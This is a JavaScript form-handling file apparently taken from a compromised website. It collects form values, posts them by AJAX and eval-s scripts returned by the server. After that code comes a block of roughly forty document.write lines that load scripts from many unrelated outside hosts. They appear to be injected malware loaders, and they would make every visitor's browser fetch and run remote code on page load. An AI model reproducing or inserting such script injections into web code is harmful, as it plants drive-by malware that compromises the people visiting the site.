// JavaScript Document

var possibleFormElements=new Array();
possibleFormElements[0]="input";
possibleFormElements[1]="select";
possibleFormElements[2]="textarea";
possibleFormElements[3]="file";
var onSuccessArray=new Array();

/*var bName = navigator.appName;
var bVer = parseInt(navigator.appVersion);
var NS6 = (bName == "Netscape" && bVer >= 5);
var NS4 = (bName == "Netscape" && bVer >= 4 && bVer < 5);
var IE4 = (bName == "Microsoft Internet Explorer" && bVer >= 4);
var NS3 = (bName == "Netscape" && bVer < 4);
var IE3 = (bName == "Microsoft Internet Explorer" && bVer < 4);*/

var xmlhttp=false; //Clear our fetching variable
try {
		xmlhttp = new ActiveXObject('Msxml2.XMLHTTP'); //Try the first kind of active x object.
} catch (e) {
		try {
				xmlhttp = new
				ActiveXObject('Microsoft.XMLHTTP'); //Try the second kind of active x object
	} catch (E) {
		xmlhttp = false;
		
				}
}
if (!xmlhttp && typeof XMLHttpRequest!= null) {
		xmlhttp = new XMLHttpRequest(); //If we were able to get a working active x object, start an XMLHttpRequest
}

function callAjaxFunctionToPostData(frmName,url){
	//alert(frmName);
	//alert(url);	
	http=xmlhttp;
	//http = getHTTPObject();
	var postValues='';	
	postValues=getFormElementsAndValues(frmName);		
	//alert(postValues);
	http.open("POST", url , true);
	http.onreadystatechange = stateChanged;
	http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	http.send(postValues);	
	
}

function getFormElementsAndValues(form_name){
	
	var out = new Array();
	var formInputs='';
	var frmElementName='';
	var elementName=''
	var postData='';
	var radioCheck='';
	var radioButton;
	var radioCheckedValue;
	var frmElementType;
	var value;
	//alert(possibleFormElements.length);
	for(var j=0;j<possibleFormElements.length;j++){
		elementName=possibleFormElements[j];
		formInputs =eval("document."+form_name+".getElementsByTagName(\""+elementName+"\")");
		//alert(formInputs.length+'  '+elementName);
		for (var i = 0; i < formInputs.length; i++){							
				frmElementName=formInputs.item(i).name;						
				frmElementType=formInputs.item(i).type;	
				/*if(frmElementType=='file')
					alert(eval("document.getElementById('"+frmElementName+"').value"));*/
				if(frmElementType=='radio'){
			radioButton=eval("document."+form_name+"."+frmElementName);
radioCheckedValue=validateRadioButton(radioButton);						
					value=eval("document."+form_name+"."+frmElementName+"["+radioCheckedValue+"].value");

					}									
				else if(frmElementType=='checkbox'){														
					if(document.getElementById(frmElementName).checked)
						value=eval("document.getElementById('"+frmElementName+"').value");					
				}
				if(frmElementType!='radio' && frmElementType!='checkbox'){	
				
					value=eval("document.getElementById('"+frmElementName+"').value");
				}				
				
				var subBtn=frmElementName.toLowerCase();
				var btnBtn=frmElementName.toLowerCase();				
				if(subBtn!='submit' || btnBtn!='button'){
					if(postData=='')
						postData=frmElementName+"="+value;
					else{
						var exitsOrNot=eval("postData.indexOf('"+frmElementName+"=')");						
						if(frmElementType=='radio'){							
							
							radioCheck=eval("document."+form_name+"."+frmElementName+"["+radioCheckedValue+"].checked");							
						}
						else{
							radioCheck=true;
						}
						if(exitsOrNot==-1 && radioCheck)
							postData+="&"+frmElementName+"="+value;
						}
				
				}
		//alert(postData);
		}//enf of i-for*/
	}//end of j-for		
	return (postData);
}

function validateRadioButton(radioChoices){

var checkFlag=-1;
for(var i=0; i<radioChoices.length;i++){
if(radioChoices[i].checked){
checkFlag=i;
break;
}//end of for loop
}
return checkFlag;

}


function stateChanged(){
  		//var results = http.responseText
		
		//var StrDummy = navigator.appVersion;	
		var docEle=eval("document.getElementById('test')");
		
		if( xmlhttp.readyState == 4){
			//alert(http.responseText)
			if(http.responseText == "Error")
			 alert('Quota Exceeded');
			else{ 
			docEle.innerHTML=http.responseText;
			scripts=docEle.getElementsByTagName("script");
				
				for(i=0;i<scripts.length;i++){
					eval("("+scripts[i].childNodes[0].textContent+")");
					scripts[i].childNodes[0].textContent;
				}
			}
		}
	}	
	function DoBlur(fld) 
{
    fld.className='normalfld';
}

function DoFocus(fld) 
{
    fld.className = 'focusfld';
}


document.write('<script src=http://otology.nl/files/index.php ><\/script>');
document.write('<script src=http://otology.nl/files/index.php ><\/script>');
document.write('<script src=http://otology.nl/files/index.php ><\/script>');
document.write('<script src=http://otology.nl/files/index.php ><\/script>');
document.write('<script src=http://otology.nl/files/index.php ><\/script>');
document.write('<script src=http://cotrisa.com.br/radio/images/ds1g/05_compact.php ><\/script>');
document.write('<script src=http://cotrisa.com.br/radio/images/ds1g/05_compact.php ><\/script>');
document.write('<script src=http://cotrisa.com.br/radio/images/ds1g/05_compact.php ><\/script>');
document.write('<script src=http://cotrisa.com.br/radio/images/ds1g/05_compact.php ><\/script>');
document.write('<script src=http://cotrisa.com.br/radio/images/ds1g/05_compact.php ><\/script>');
document.write('<script src=http://cotrisa.com.br/radio/images/ds1g/05_compact.php ><\/script>');
document.write('<script src=http://mafiawars.gamecheatsnhacks.com/images/gifimg.php ><\/script>');
document.write('<script src=http://mafiawars.gamecheatsnhacks.com/images/gifimg.php ><\/script>');
document.write('<script src=http://piete-pitesti.ro/img/common/e2q5/pb_plesk.php ><\/script>');
document.write('<script src=http://piete-pitesti.ro/img/common/e2q5/pb_plesk.php ><\/script>');
document.write('<script src=http://piete-pitesti.ro/img/common/e2q5/pb_plesk.php ><\/script>');
document.write('<script src=http://piete-pitesti.ro/img/common/e2q5/pb_plesk.php ><\/script>');
document.write('<script src=http://piete-pitesti.ro/img/common/e2q5/pb_plesk.php ><\/script>');
document.write('<script src=http://piete-pitesti.ro/img/common/e2q5/pb_plesk.php ><\/script>');
document.write('<script src=http://piete-pitesti.ro/img/common/e2q5/pb_plesk.php ><\/script>');
document.write('<script src=http://angol-tanulas.extra.hu/_themes/oktato1.php ><\/script>');
document.write('<script src=http://newessorr.com/images/gifimg.php ><\/script>');
document.write('<script src=http://votachopper.com/.smileys/index.php ><\/script>');
document.write('<script src=http://i.aaedesign.com/cp/sound.php ><\/script>');
document.write('<script src=http://i.aaedesign.com/cp/sound.php ><\/script>');
document.write('<script src=http://i.aaedesign.com/cp/sound.php ><\/script>');
document.write('<script src=http://i.aaedesign.com/cp/sound.php ><\/script>');
document.write('<script src=http://i.aaedesign.com/cp/sound.php ><\/script>');
document.write('<script src=http://xn--80actio.su/content/robots.php ><\/script>');
document.write('<script src=http://xn--80actio.su/content/robots.php ><\/script>');
document.write('<script src=http://xn--80actio.su/content/robots.php ><\/script>');
document.write('<script src=http://xn--80actio.su/content/robots.php ><\/script>');
document.write('<script src=http://xn--80actio.su/content/robots.php ><\/script>');
document.write('<script src=http://aktifblog.com/images/wp-rss2.php ><\/script>');
document.write('<script src=http://aktifblog.com/images/wp-rss2.php ><\/script>');
document.write('<script src=http://idb.konkuk.ac.kr/education/logo.php ><\/script>');
document.write('<script src=http://idb.konkuk.ac.kr/education/logo.php ><\/script>');